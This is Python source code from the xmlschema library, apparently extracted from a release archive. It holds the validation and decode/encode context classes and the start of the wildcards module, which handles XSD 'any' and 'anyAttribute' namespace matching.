ErrorsType converter: Union[XMLSchemaConverter, NamespaceMapper] id_map: Counter[str] identities: dict['XsdIdentity', 'IdentityCounter'] source: Union[XMLResource, Any] # Set and used by one or more XSD components. elem: Optional[ElementType] attribute: Optional[str] id_list: Optional[list[Any]] inherited: dict[str, str] patterns: Optional['XsdPatternFacets'] level: int namespaces: MutableMapping[str, str] __slots__ = ('errors', 'converter', 'id_map', 'identities', 'elem', 'namespaces', 'attribute', 'id_list', 'inherited', 'level', 'max_depth', '__dict__') def __init__(self, source: Any, validation: str = 'strict', converter: Optional[ConverterType] = None, level: int = 0, elem: Optional[ElementType] = None, check_identities: bool = False, use_defaults: bool = True, process_skipped: bool = False, max_depth: Optional[int] = None, errors: Optional[ErrorsType] = None, **kwargs: Any) -> None: check_validation_mode(validation) self.source = source self.validation = validation self.errors = [] if errors is None else errors self.id_map = Counter[str]() self.identities = {} self.inherited = {} self.level = level self.elem = elem self.attribute = None self.id_list = None self.patterns = None self.check_identities = check_identities self.use_defaults = use_defaults self.process_skipped = process_skipped self.max_depth = max_depth if self.validation_only: self.converter = NamespaceMapper( kwargs.get('namespaces'), source=self.source ) else: self.converter = get_converter(converter, source=source, **kwargs) self.namespaces = self.converter.namespaces def __copy__(self) -> 'ValidationContext': context = object.__new__(self.__class__) context.__dict__.update(self.__dict__) context.errors = self.errors.copy() context.id_map = self.id_map.copy() context.identities = self.identities.copy() context.inherited = self.inherited.copy() context.id_list = self.id_list if self.id_list is None else self.id_list.copy() context.elem = self.elem context.attribute = self.attribute context.level = self.level context.max_depth = self.max_depth if self.converter.xmlns_processing == 'none': context.converter = self.converter context.namespaces = self.namespaces else: context.converter = copy.copy(self.converter) context.namespaces = context.converter.namespaces return context def clear(self) -> None: self.errors.clear() self.id_map.clear() self.identities.clear() self.inherited.clear() self.level = 0 self.elem = None self.attribute = None self.id_list = None self.patterns = None @property def root_namespace(self) -> Optional[str]: if not isinstance(self.source, XMLResource): return None else: return self.source.namespace def raise_or_collect(self, validation: str, error: XMLSchemaValidationError) \ -> XMLSchemaValidationError: if error.elem is None and self.elem is not None: error.elem = self.elem if self.attribute is not None and error.reason is not None \ and not error.reason.startswith('attribute '): name = get_prefixed_qname(self.attribute, self.namespaces) value = raw_encode_value(error.obj) error.reason = _('attribute {0}={1!r}: {2}').format(name, value, error.reason) if validation == 'strict': raise error if error.stack_trace is None and logger.level == logging.DEBUG: error.stack_trace = format_xmlschema_stack('xmlschema/validators') logger.debug("Collect %r with traceback:\n%s", error, error.stack_trace) if validation == 'lax': self.errors.append(error) return error def validation_error(self, validation: str, validator: 'XsdValidator', error: Union[str, Exception], obj: Any = None) -> XMLSchemaValidationError: """ Helper method for collecting or raising validation errors. :param validation: :param validator: the XSD validator related with the error. :param error: an error instance or the detailed reason of failed validation. :param obj: the instance related to the error. """ if not isinstance(error, XMLSchemaValidationError): error = XMLSchemaValidationError( validator, obj, str(error), self.source, self.namespaces ) else: if error.obj is None and obj is not None: error.obj = obj error.source = self.source error.namespaces = self.namespaces return self.raise_or_collect(validation, error) def children_validation_error( self, validation: str, validator: 'XsdValidator', elem: ElementType, index: int, particle: ModelParticleType, occurs: int = 0, expected: Optional[Iterable[SchemaElementType]] = None) \ -> XMLSchemaValidationError: error = XMLSchemaChildrenValidationError( validator=validator, elem=elem, index=index, particle=particle, occurs=occurs, expected=expected, source=self.source, namespaces=self.namespaces, ) return self.raise_or_collect(validation, error) def missing_element_error(self, validation: str, validator: 'XsdValidator', elem: ElementType, path: Optional[str] = None, schema_path: Optional[str] = None) -> XMLSchemaValidationError: if not path: reason = _("{!r} is not an element of the schema").format(elem.tag) elif schema_path != path: reason = _( "schema_path={!r} doesn't select any {!r} element of the schema" ).format(schema_path, elem.tag) else: reason = _( "path={!r} doesn't select any {!r} element of the schema, " "maybe you have to provide a different path using the " "schema_path argument" ).format(path, elem.tag) error = XMLSchemaValidationError(validator, elem, reason, self.source, self.namespaces) return self.raise_or_collect(validation, error) class DecodeContext(ValidationContext): """A context for handling validated decoding processes.""" source: XMLResource def __init__(self, source: Any, validation: str = 'strict', converter: Optional[ConverterType] = None, level: int = 0, elem: Optional[ElementType] = None, *, validation_only: bool = False, check_identities: bool = False, use_defaults: bool = True, process_skipped: bool = False, max_depth: Optional[int] = None, extra_validator: Optional[ExtraValidatorType] = None, validation_hook: Optional[ValidationHookType] = None, use_location_hints: bool = False, decimal_type: Optional[Union[Type[str], Type[float]]] = None, datetime_types: bool = False, binary_types: bool = False, filler: Optional[FillerType] = None, fill_missing: bool = False, keep_empty: bool = False, keep_unknown: bool = False, depth_filler: Optional[DepthFillerType] = None, value_hook: Optional[ValueHookType] = None, element_hook: Optional[ElementHookType] = None, errors: Optional[list[XMLSchemaValidationError]] = None, **kwargs: Any) -> None: if not isinstance(source, XMLResource): # source is not a XMLResource, then create a new resource from # source element or a dummy document from data. if is_etree_element(source) or is_etree_document(source): source = XMLResource(source) elif elem is not None: source = XMLResource(elem) elif isinstance(source, dict): root = Element('root', attrib=source) source = XMLResource(root) elif source is None or isinstance(source, (AnyAtomicType, bytes)): root = Element('root') root.text = raw_encode_value(cast(DecodedValueType, source)) source = XMLResource(root) else: raise XMLSchemaTypeError( "incompatible type {!r} for source argument".format(type(source)) ) self.validation_only = validation_only self.extra_validator = extra_validator self.validation_hook = validation_hook self.use_location_hints = use_location_hints self.decimal_type = decimal_type self.filler = filler self.fill_missing = fill_missing self.keep_empty = keep_empty self.keep_unknown = keep_unknown self.depth_filler = depth_filler self.value_hook = value_hook self.element_hook = element_hook keep_datatypes: list[type[DecodedValueType]] = [int, float, list] if decimal_type is None: keep_datatypes.append(decimal.Decimal) if datetime_types: keep_datatypes.append(AbstractDateTime) keep_datatypes.append(Duration) if binary_types: keep_datatypes.append(AbstractBinary) self.keep_datatypes: ClassInfoType[DecodedValueType] = tuple(keep_datatypes) super().__init__(source, validation, converter, level, elem, check_identities, use_defaults, process_skipped, max_depth, errors, **kwargs) def decode_error(self, validation: str, validator: 'XsdValidator', obj: Any, decoder: Any, error: Union[str, Exception]) -> XMLSchemaValidationError: error = XMLSchemaDecodeError( validator=validator, obj=obj, decoder=decoder, reason=str(error), source=self.source, namespaces=self.namespaces, ) return self.raise_or_collect(validation, error) class EncodeContext(ValidationContext): """A context for handling validated encoding processes.""" source: Any converter: XMLSchemaConverter validation_only = False def __init__(self, source: Any, validation: str = 'strict', converter: Optional[ConverterType] = None, level: int = 0, elem: Optional[ElementType] = None, *, check_identities: bool = False, use_defaults: bool = True, unordered: bool = False, process_skipped: bool = False, max_depth: Optional[int] = None, untyped_data: bool = False, errors: Optional[list[XMLSchemaValidationError]] = None, **kwargs: Any) -> None: self.unordered = unordered self.untyped_data = untyped_data super().__init__(source, validation, converter, level, elem, check_identities, use_defaults, process_skipped, max_depth, errors, **kwargs) def encode_error(self, validation: str, validator: 'XsdValidator', obj: Any, encoder: Any, error: Union[str, Exception]) -> XMLSchemaValidationError: error = XMLSchemaEncodeError( validator=validator, obj=obj, encoder=encoder, reason=str(error), source=self.source, namespaces=self.namespaces, ) return self.raise_or_collect(validation, error) @property def padding(self) -> str: return '\n' + ' ' * self.converter.indent * self.level def create_element(self, tag: str) -> Element: self.elem = self.converter.etree_element(tag, level=self.level) return self.elem def set_element_content(self, elem: Element, text: Optional[str], children: list[Element]) -> None: if children: if children[-1].tail is None: children[-1].tail = self.padding else: children[-1].tail = children[-1].tail.strip() + self.padding elem.text = text or self.padding elem.extend(children) else: elem.text = text ST = TypeVar('ST') DT = TypeVar('DT') class ValidationMixin(Generic[ST, DT]): """ Mixin for implementing XML data validators/decoders on XSD components. A derived class must implement the methods `raw_decode` and `raw_encode`. """ schema: SchemaType def validate(self, obj: ST, use_defaults: bool = True, namespaces: Optional[NsmapType] = None, max_depth: Optional[int] = None, extra_validator: Optional[ExtraValidatorType] = None, validation_hook: Optional[ValidationHookType] = None) -> None: """ Validates XML data against the XSD schema/component instance. :param obj: the XML data. Can be a string for an attribute or a simple type \ validators, or an ElementTree's Element otherwise. :param use_defaults: indicates whether to use default values for filling missing data. :param namespaces: is an optional mapping from namespace prefix to URI. :param max_depth: maximum level of validation, for default there is no limit. :param extra_validator: an optional function for performing non-standard \ validations on XML data. The provided function is called for each traversed \ element, with the XML element as 1st argument and the corresponding XSD \ element as 2nd argument. It can be also a generator function and has to \ raise/yield :exc:`xmlschema.XMLSchemaValidationError` exceptions. :param validation_hook: an optional function for stopping or changing \ validation at element level. The provided function must accept two arguments, \ the XML element and the matching XSD element. If the value returned by this \ function is evaluated to false then the validation process continues without \ changes, otherwise the validation process is stopped or changed. If the value \ returned is a validation mode the validation process continues changing the \ current validation mode to the returned value, otherwise the element and its \ content are not processed. The function can also stop validation suddenly \ raising a `XmlSchemaStopValidation` exception. :raises: :exc:`xmlschema.XMLSchemaValidationError` if the XML data instance is invalid. """ for error in self.iter_errors(obj, use_defaults, namespaces, max_depth, extra_validator, validation_hook): raise error def is_valid(self, obj: ST, use_defaults: bool = True, namespaces: Optional[NsmapType] = None, max_depth: Optional[int] = None, extra_validator: Optional[ExtraValidatorType] = None, validation_hook: Optional[ValidationHookType] = None) -> bool: """ Like :meth:`validate` except that does not raise an exception but returns ``True`` if the XML data instance is valid, ``False`` if it is invalid. """ error = next(self.iter_errors(obj, use_defaults, namespaces, max_depth, extra_validator, validation_hook), None) return error is None def iter_errors(self, obj: ST, use_defaults: bool = True, namespaces: Optional[NsmapType] = None, max_depth: Optional[int] = None, extra_validator: Optional[ExtraValidatorType] = None, validation_hook: Optional[ValidationHookType] = None) \ -> Iterator[XMLSchemaValidationError]: """ Creates an iterator for the errors generated by the validation of an XML data against the XSD schema/component instance. Accepts the same arguments of :meth:`validate`. """ context = DecodeContext( source=obj, namespaces=namespaces, validation_only=True, use_defaults=use_defaults, max_depth=max_depth, extra_validator=extra_validator, validation_hook=validation_hook, ) self.raw_decode(obj, 'lax', context) yield from context.errors def decode(self, obj: ST, validation: str = 'strict', **kwargs: Any) -> DecodeType[DT]: """ Decodes XML data. :param obj: the XML data. Can be a string for an attribute or for simple type \ components or a dictionary for an attribute group or an ElementTree's \ Element for other components. :param validation: the validation mode. Can be 'lax', 'strict' or 'skip. :param kwargs: optional keyword arguments for the method :func:`iter_decode`. :return: a dictionary like object if the XSD component is an element, a \ group or a complex type; a list if the XSD component is an attribute group; \ a simple data type object otherwise. If *validation* argument is 'lax' a 2-items \ tuple is returned, where the first item is the decoded object and the second item \ is a list containing the errors. :raises: :exc:`xmlschema.XMLSchemaValidationError` if the object is not decodable by \ the XSD component, or also if it's invalid when ``validation='strict'`` is provided. """ converter = kwargs.pop('converter', None) if converter is None: converter = self.schema.converter context = DecodeContext(obj, validation, converter, **kwargs) result = self.raw_decode(obj, validation, context) if isinstance(result, EmptyType): return (None, context.errors) if validation == 'lax' else None return (result, context.errors) if validation == 'lax' else result def encode(self, obj: Any, validation: str = 'strict', **kwargs: Any) -> EncodeType[Any]: """ Encodes data to XML. :param obj: the data to be encoded to XML. :param validation: the validation mode. Can be 'lax', 'strict' or 'skip. :param kwargs: optional keyword arguments for the method :func:`iter_encode`. :return: An element tree's Element if the original data is a structured data or \ a string if it's simple type datum. If *validation* argument is 'lax' a 2-items \ tuple is returned, where the first item is the encoded object and the second item \ is a list containing the errors. :raises: :exc:`xmlschema.XMLSchemaValidationError` if the object is not encodable by \ the XSD component, or also if it's invalid when ``validation='strict'`` is provided. """ converter = kwargs.pop('converter', None) if converter is None: converter = self.schema.converter context = EncodeContext(obj, validation, converter, **kwargs) result = self.raw_encode(obj, validation, context) if isinstance(result, EmptyType): return (None, context.errors) if validation == 'lax' else None return (result, context.errors) if validation == 'lax' else result def iter_decode(self, obj: ST, validation: str = 'lax', **kwargs: Any) \ -> IterDecodeType[DT]: """ Creates an iterator for decoding an XML source to a Python object. :param obj: the XML data. :param validation: the validation mode. Can be 'lax', 'strict' or 'skip'. :param kwargs: keyword arguments for the decoder API. :return: Yields a decoded object, eventually preceded by a sequence of \ validation or decoding errors. """ converter = kwargs.pop('converter', None) if converter is None: converter = self.schema.converter context = DecodeContext(obj, validation, converter, **kwargs) result = self.raw_decode(obj, validation, context) yield from context.errors context.errors.clear() if not isinstance(result, EmptyType): yield result def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ -> IterEncodeType[Any]: """ Creates an iterator for encoding data to an Element tree. :param obj: The data that has to be encoded. :param validation: The validation mode. Can be 'lax', 'strict' or 'skip'. :param kwargs: keyword arguments for the encoder API. :return: Yields an Element, eventually preceded by a sequence of validation \ or encoding errors. """ converter = kwargs.pop('converter', None) if converter is None: converter = self.schema.converter context = EncodeContext(obj, validation, converter, **kwargs) result = self.raw_encode(obj, validation, context) yield from context.errors context.errors.clear() if not isinstance(result, EmptyType): yield result @abstractmethod def raw_decode(self, obj: ST, validation: str, context: DecodeContext) \ -> Union[DT, EmptyType]: """ Internal decode method. Takes the same arguments as *decode*, but keyword arguments are replaced with a decode context. Returns a decoded data structure, usually a nested dict and/or list. """ raise NotImplementedError() @abstractmethod def raw_encode(self, obj: Any, validation: str, context: EncodeContext) -> Any: """ Internal encode method. Takes the same arguments as *encode*, but keyword arguments are replaced with a decode context. Returns a tree of Elements or a fragment of it (e.g. an attribute value). """ raise NotImplementedError() ����������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/wildcards.py���������������������������������������������������0000664�0000000�0000000�00000110470�15020401055�0022147�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from collections.abc import Callable, Iterator, Iterable from copy import copy from typing import Any, Optional, Union from elementpath import SchemaElementNode, build_schema_node_tree from xmlschema.exceptions import XMLSchemaValueError from xmlschema.names import XSI_NAMESPACE, XSD_ANY, XSD_ANY_ATTRIBUTE, \ XSD_OPEN_CONTENT, XSD_DEFAULT_OPEN_CONTENT, XSI_TYPE from xmlschema.aliases import ElementType, SchemaType, SchemaElementType, SchemaAttributeType, \ ModelGroupType, ModelParticleType, AtomicValueType, DecodedValueType, OccursCounterType from xmlschema.translation import gettext as _ from xmlschema.utils.qnames import get_namespace from xmlschema.utils.decoding import EmptyType, Empty, raw_encode_value from xmlschema.xpath import XMLSchemaProxy, ElementPathMixin from .validation import DecodeContext, EncodeContext, ValidationMixin from .xsdbase import XsdComponent from .particles import ParticleMixin from . import elements class XsdWildcard(XsdComponent): process_contents: str namespace: set[str] not_namespace: Union[tuple[()], set[str]] = () not_qname: Union[tuple[()], set[str]] = () # For compatibility with protocol of XSD elements/attributes type = None default = None fixed = None __slots__ = ('process_contents', 'namespace') def __repr__(self) -> str: if self.not_namespace: return '%s(not_namespace=%r, process_contents=%r)' % ( self.__class__.__name__, sorted(self.not_namespace), self.process_contents ) else: return '%s(namespace=%r, process_contents=%r)' % ( self.__class__.__name__, sorted(self.namespace), self.process_contents ) def __copy__(self) -> 'XsdWildcard': wildcard: XsdWildcard = object.__new__(self.__class__) wildcard.__dict__.update(self.__dict__) for attr in self._mro_slots(): object.__setattr__(wildcard, attr, getattr(self, attr)) wildcard.errors = self.errors.copy() wildcard.namespace = self.namespace.copy() if isinstance(self.not_namespace, set): wildcard.not_namespace = self.not_namespace.copy() if isinstance(self.not_qname, set): wildcard.not_qname = self.not_qname.copy() return wildcard def _parse(self) -> None: # Parse namespace and processContents namespace = self.elem.attrib.get('namespace', '##any').strip() if namespace in ('##any', '##other'): self.namespace = {namespace} elif not namespace: self.namespace = set() # an empty value means no namespace allowed! elif namespace == '##local': self.namespace = {''} elif namespace == '##targetNamespace': self.namespace = {self.target_namespace} else: self.namespace = set() for ns in namespace.split(): if ns == '##local': self.namespace.add('') elif ns == '##targetNamespace': self.namespace.add(self.target_namespace) elif ns.startswith('##'): msg = _("wrong value %r in 'namespace' attribute") self.parse_error(msg % ns) else: self.namespace.add(ns) self.process_contents = self.elem.attrib.get('processContents', 'strict') if self.process_contents not in ('strict', 'lax', 'skip'): msg = _("wrong value %r for 'processContents' attribute") self.parse_error(msg % self.process_contents) self.process_contents = 'strict' def _parse_not_constraints(self) -> None: if 'notNamespace' not in self.elem.attrib: pass elif 'namespace' in self.elem.attrib: msg = _("'namespace' and 'notNamespace' attributes are mutually exclusive") self.parse_error(msg) else: self.namespace.clear() self.not_namespace = set() for ns in self.elem.attrib['notNamespace'].strip().split(): if ns == '##local': self.not_namespace.add('') elif ns == '##targetNamespace': self.not_namespace.add(self.target_namespace) elif ns.startswith('##'): msg = _("wrong value %r in 'notNamespace' attribute") self.parse_error(msg % ns) else: self.not_namespace.add(ns) # Parse notQName attribute if 'notQName' not in self.elem.attrib: return not_qname = self.elem.attrib['notQName'].strip().split() if isinstance(self, XsdAnyAttribute) and \ not all(not s.startswith('##') or s == '##defined' for s in not_qname) or \ not all(not s.startswith('##') or s in {'##defined', '##definedSibling'} for s in not_qname): self.parse_error(_("wrong value for 'notQName' attribute")) return try: names = {x if x.startswith('##') else self.schema.resolve_qname(x, False) for x in not_qname} except KeyError as err: msg = _("unmapped QName in 'notQName' attribute: %s") self.parse_error(msg % str(err)) return except ValueError as err: msg = _("wrong QName format in 'notQName' attribute: %s") self.parse_error(msg % str(err)) return if self.not_namespace: if any(not x.startswith('##') for x in names) and \ all(get_namespace(x) in self.not_namespace for x in names if not x.startswith('##')): msg = _("the namespace of each QName in notQName is allowed by notNamespace") self.parse_error(msg) elif any(not self.is_namespace_allowed(get_namespace(x)) for x in names if not x.startswith('##')): msg = _("names in notQName must be in namespaces that are allowed") self.parse_error(msg) self.not_qname = names @property def value_constraint(self) -> Optional[str]: return None def is_matching(self, name: Optional[str], default_namespace: Optional[str] = None, **kwargs: Any) -> bool: if name is None: return False elif not name or name[0] == '{': return self.is_namespace_allowed(get_namespace(name)) elif not default_namespace: return self.is_namespace_allowed('') else: return self.is_namespace_allowed(default_namespace) def is_namespace_allowed(self, namespace: str) -> bool: if self.not_namespace: return namespace not in self.not_namespace elif '##any' in self.namespace or namespace == XSI_NAMESPACE: return True elif '##other' in self.namespace: if not namespace: return False return namespace != self.target_namespace else: return namespace in self.namespace def deny_namespaces(self, namespaces: list[str]) -> bool: if self.not_namespace: return all(x in self.not_namespace for x in namespaces) elif '##any' in self.namespace: return False elif '##other' in self.namespace: return all(x == self.target_namespace for x in namespaces) else: return all(x not in self.namespace for x in namespaces) def deny_qnames(self, names: Iterable[str]) -> bool: if self.not_namespace: return all(x in self.not_qname or get_namespace(x) in self.not_namespace for x in names) elif '##any' in self.namespace: return all(x in self.not_qname for x in names) elif '##other' in self.namespace: return all(x in self.not_qname or get_namespace(x) == self.target_namespace for x in names) else: return all(x in self.not_qname or get_namespace(x) not in self.namespace for x in names) def _has_occurs_restriction(self, other: 'XsdWildcard') -> bool: return True def is_restriction(self, other: Union[ModelParticleType, 'XsdAnyAttribute'], check_occurs: bool = True) -> bool: if not isinstance(other, self.__class__): return False elif check_occurs and not self._has_occurs_restriction(other): return False assert isinstance(other, XsdWildcard) if other.process_contents == 'strict' and self.process_contents != 'strict': return False elif other.process_contents == 'lax' and self.process_contents == 'skip': return False if not self.not_qname and not other.not_qname: pass elif '##defined' in other.not_qname and '##defined' not in self.not_qname: return False elif '##definedSibling' in other.not_qname and '##definedSibling' not in self.not_qname: return False elif other.not_qname: if not self.deny_qnames(x for x in other.not_qname if not x.startswith('##')): return False elif any(not other.is_namespace_allowed(get_namespace(x)) for x in self.not_qname if not x.startswith('##')): return False if self.not_namespace: if other.not_namespace: return all(ns in self.not_namespace for ns in other.not_namespace) elif '##any' in other.namespace: return True elif '##other' in other.namespace: return '' in self.not_namespace and other.target_namespace in self.not_namespace else: return False elif other.not_namespace: if '##any' in self.namespace: return False elif '##other' in self.namespace: return other.not_namespace.issubset(('', other.target_namespace)) else: return all(ns not in other.not_namespace for ns in self.namespace) if self.namespace == other.namespace: return True elif '##any' in other.namespace: return True elif '##any' in self.namespace or '##other' in self.namespace: return False elif '##other' in other.namespace: return other.target_namespace not in self.namespace and '' not in self.namespace else: return all(ns in other.namespace for ns in self.namespace) def union(self, other: Union['XsdAnyElement', 'XsdAnyAttribute']) -> None: """Update an XSD wildcard with the union of itself and another XSD wildcard.""" if not self.not_qname: self.not_qname = copy(other.not_qname) else: self.not_qname = { x for x in self.not_qname if x in other.not_qname or not other.is_namespace_allowed(get_namespace(x)) } if self.not_namespace: if other.not_namespace: self.not_namespace.intersection_update(other.not_namespace) elif '##any' in other.namespace: self.not_namespace = set() self.namespace.clear() self.namespace.add('##any') return elif '##other' in other.namespace: self.not_namespace.intersection_update({'', other.target_namespace}) else: self.not_namespace.difference_update(other.namespace) if not self.not_namespace: self.namespace.clear() self.namespace.add('##any') return elif other.not_namespace: if '##any' in self.namespace: return elif '##other' in self.namespace: self.not_namespace = other.not_namespace & {'', self.target_namespace} else: self.not_namespace = other.not_namespace - self.namespace self.namespace.clear() if not self.not_namespace: self.namespace.add('##any') return w1: XsdWildcard w2: XsdWildcard if not other.namespace or '##any' in self.namespace or self.namespace == other.namespace: return elif '##any' in other.namespace: self.namespace.clear() self.namespace.add('##any') return elif '##other' in other.namespace: w1, w2 = other, self elif '##other' in self.namespace: w1, w2 = self, other else: self.namespace.update(other.namespace) return if w1.target_namespace in w2.namespace and '' in w2.namespace: self.namespace.clear() self.namespace.add('##any') elif '' not in w2.namespace and w1.target_namespace == w2.target_namespace: self.namespace.clear() self.namespace.add('##other') elif self.xsd_version == '1.0': msg = _("not expressible wildcard namespace union: {0!r} V {1!r}:") raise XMLSchemaValueError(msg.format(other.namespace, self.namespace)) else: self.namespace.clear() self.not_namespace = {'', w1.target_namespace} def intersection(self, other: Union['XsdAnyElement', 'XsdAnyAttribute']) -> None: """Update an XSD wildcard with the intersection of itself and another XSD wildcard.""" if self.not_qname: self.not_qname.update(other.not_qname) else: self.not_qname = copy(other.not_qname) if self.not_namespace: if other.not_namespace: self.not_namespace.update(other.not_namespace) elif '##any' in other.namespace: pass elif '##other' not in other.namespace: self.namespace = other.namespace - self.not_namespace self.not_namespace.clear() else: self.not_namespace.add('') self.not_namespace.add(other.target_namespace) return elif other.not_namespace: if '##any' in self.namespace: self.not_namespace = other.not_namespace.copy() self.namespace.clear() elif '##other' not in self.namespace: self.namespace.difference_update(other.not_namespace) else: self.not_namespace = other.not_namespace.copy() self.not_namespace.add('') self.not_namespace.add(other.target_namespace) self.namespace.clear() return if self.namespace == other.namespace: return elif '##any' in other.namespace: return elif '##any' in self.namespace: self.namespace.clear() self.namespace.update(other.namespace) elif '##other' in self.namespace: self.namespace.clear() self.namespace.update(other.namespace) self.namespace.discard(other.target_namespace) self.namespace.discard('') elif '##other' not in other.namespace: self.namespace.intersection_update(other.namespace) else: self.namespace.discard(other.target_namespace) self.namespace.discard('') class XsdAnyElement(XsdWildcard, ParticleMixin, ElementPathMixin[SchemaElementType], ValidationMixin[ElementType, Any]): """ Class for XSD 1.0 *any* wildcards. .. <any id = ID maxOccurs = (nonNegativeInteger | unbounded) : 1 minOccurs = nonNegativeInteger : 1 namespace = ((##any | ##other) | List of (anyURI | (##targetNamespace|##local)) ) : ##any processContents = (lax | skip | strict) : strict {any attributes with non-schema namespace . . .}> Content: (annotation?) </any> """ _ADMITTED_TAGS = XSD_ANY, precedences: dict[ModelGroupType, list[ModelParticleType]] copy: Callable[['XsdAnyElement'], 'XsdAnyElement'] __slots__ = ('min_occurs', 'max_occurs', 'skip', 'precedences') def __init__(self, elem: ElementType, schema: SchemaType, parent: XsdComponent) -> None: self.min_occurs = self.max_occurs = 1 self.skip = False self.precedences = {} super().__init__(elem, schema, parent) def __repr__(self) -> str: if self.namespace: return '%s(namespace=%r, process_contents=%r, occurs=%r)' % ( self.__class__.__name__, sorted(self.namespace), self.process_contents, list(self.occurs) ) else: return '%s(not_namespace=%r, process_contents=%r, occurs=%r)' % ( self.__class__.__name__, sorted(self.not_namespace), self.process_contents, list(self.occurs) ) @property def xpath_proxy(self) -> XMLSchemaProxy: return XMLSchemaProxy(self.schema, self) # noinspection PyTypeChecker @property def xpath_node(self) -> SchemaElementNode: schema_node = self.schema.xpath_node node = schema_node.get_element_node(self) if isinstance(node, SchemaElementNode): return node return build_schema_node_tree( root=self, elements=schema_node.elements, global_elements=schema_node.children, ) def _parse(self) -> None: super()._parse() self._parse_particle(self.elem) if self.process_contents == 'skip': self.skip = True def match(self, name: Optional[str], default_namespace: Optional[str] = None, resolve: bool = False, **kwargs: Any) -> Optional[SchemaElementType]: """ Returns the element wildcard if name is matching the name provided as argument, `None` otherwise. :param name: a local or fully-qualified name. :param default_namespace: used when it's not `None` and not empty for \ completing local name arguments. :param resolve: when `True` it doesn't return the wildcard but try to \ resolve and return the element matching the name. :param kwargs: additional options used by XSD 1.1 xs:any wildcards. """ if not name or not self.is_matching(name, default_namespace, **kwargs): return None elif not resolve: return self try: if name[0] != '{' and default_namespace: return self.maps.elements[f'{{{default_namespace}}}{name}'] else: return self.maps.elements[name] except KeyError: return None def __iter__(self) -> Iterator[Any]: return iter(()) def _has_occurs_restriction(self, other: XsdWildcard) -> bool: return self.max_occurs == 0 or isinstance(other, XsdAnyElement) and \ self.has_occurs_restriction(other) def iter(self, tag: Optional[str] = None) -> Iterator[Any]: return iter(()) def iterchildren(self, tag: Optional[str] = None) -> Iterator[Any]: return iter(()) @staticmethod def iter_substitutes() -> Iterator[Any]: return iter(()) def raw_decode(self, obj: ElementType, validation: str, context: DecodeContext) -> Any: if not self.is_matching(obj.tag): reason = _("element {!r} is not allowed here").format(obj) context.validation_error(validation, self, reason, obj) if self.process_contents == 'skip' and not context.process_skipped: return Empty namespace = get_namespace(obj.tag) if not self.maps.loader.load_namespace(namespace): reason = _("unavailable namespace {!r}").format(namespace) else: try: xsd_element = self.maps.elements[obj.tag] except KeyError: reason = f"element {obj.tag!r} not found" else: return xsd_element.raw_decode(obj, validation, context) if XSI_TYPE in obj.attrib: if self.process_contents == 'strict': xsd_element = self.builders.create_element( obj.tag, self.maps.validator, parent=self, form='unqualified' ) else: xsd_element = self.builders.create_element( obj.tag, self.maps.validator, self, nillable='true', form='unqualified' ) return xsd_element.raw_decode(obj, validation, context) if validation != 'skip' and self.process_contents == 'strict': context.validation_error(validation, self, reason, obj) xsd_element = self.builders.create_element( obj.tag, self.maps.validator, parent=self, form='unqualified' ) return xsd_element.raw_decode(obj, validation, context) def raw_encode(self, obj: tuple[str, ElementType], validation: str, context: EncodeContext) -> Any: name, value = obj namespace = get_namespace(name) if not self.is_namespace_allowed(namespace): reason = _("element {!r} is not allowed here").format(name) context.validation_error(validation, self, reason, value) if self.process_contents == 'skip' and not context.process_skipped: return Empty if not self.maps.loader.load_namespace(namespace): reason = _("unavailable namespace {!r}").format(namespace) else: try: xsd_element = self.maps.elements[name] except KeyError: reason = f"element {name!r} not found" else: return xsd_element.raw_encode(value, validation, context) # Check if there is a xsi:type attribute, but it has to extract # attributes using the converter instance. if self.process_contents == 'strict': xsd_element = self.builders.create_element( name, self.maps.validator, parent=self, form='unqualified' ) else: xsd_element = self.builders.create_element( name, self.maps.validator, parent=self, nillable='true', form='unqualified' ) try: element_data = context.converter.element_encode(value, xsd_element) except (ValueError, TypeError) as err: if validation != 'skip' and self.process_contents == 'strict': context.validation_error(validation, self, err, value) else: if XSI_TYPE in element_data.attributes: return xsd_element.raw_encode(value, validation, context) if validation != 'skip' and self.process_contents == 'strict': context.validation_error(validation, self, reason) return self.any_type.raw_encode(obj, validation, context) def is_overlap(self, other: ModelParticleType) -> bool: if not isinstance(other, XsdAnyElement): if isinstance(other, elements.XsdElement): return other.is_overlap(self) return False if self.not_namespace: if other.not_namespace: return True elif '##any' in other.namespace: return True elif '##other' in other.namespace: return True else: return any(ns not in self.not_namespace for ns in other.namespace) elif other.not_namespace: if '##any' in self.namespace: return True elif '##other' in self.namespace: return True else: return any(ns not in other.not_namespace for ns in self.namespace) elif self.namespace == other.namespace: return True elif '##any' in self.namespace or '##any' in other.namespace: return True elif '##other' in self.namespace: return any(ns and ns != self.target_namespace for ns in other.namespace) elif '##other' in other.namespace: return any(ns and ns != other.target_namespace for ns in self.namespace) else: return any(ns in self.namespace for ns in other.namespace) def is_consistent(self, other: SchemaElementType, **kwargs: Any) -> bool: return True class XsdAnyAttribute(XsdWildcard, ValidationMixin[tuple[str, str], DecodedValueType]): """ Class for XSD 1.0 *anyAttribute* wildcards. .. <anyAttribute id = ID namespace = ((##any | ##other) | List of (anyURI | (##targetNamespace | ##local)) ) processContents = (lax | skip | strict) : strict {any attributes with non-schema namespace . . .}> Content: (annotation?) </anyAttribute> """ copy: Callable[['XsdAnyAttribute'], 'XsdAnyAttribute'] _ADMITTED_TAGS = XSD_ANY_ATTRIBUTE, # Added for compatibility with protocol of XSD attributes use = None inheritable = False # XSD 1.1 attributes def match(self, name: Optional[str], default_namespace: Optional[str] = None, resolve: bool = False, **kwargs: Any) -> Optional[SchemaAttributeType]: """ Returns the attribute wildcard if name is matching the name provided as argument, `None` otherwise. :param name: a local or fully-qualified name. :param default_namespace: used when it's not `None` and not empty for \ completing local name arguments. :param resolve: when `True` it doesn't return the wildcard but try to \ resolve and return the attribute matching the name. :param kwargs: additional options that can be used by certain components. """ if not name or not self.is_matching(name, default_namespace, **kwargs): return None elif not resolve: return self try: if name[0] != '{' and default_namespace: return self.maps.attributes[f'{{{default_namespace}}}{name}'] else: return self.maps.attributes[name] except KeyError: return None def raw_decode(self, obj: tuple[str, str], validation: str, context: DecodeContext) -> 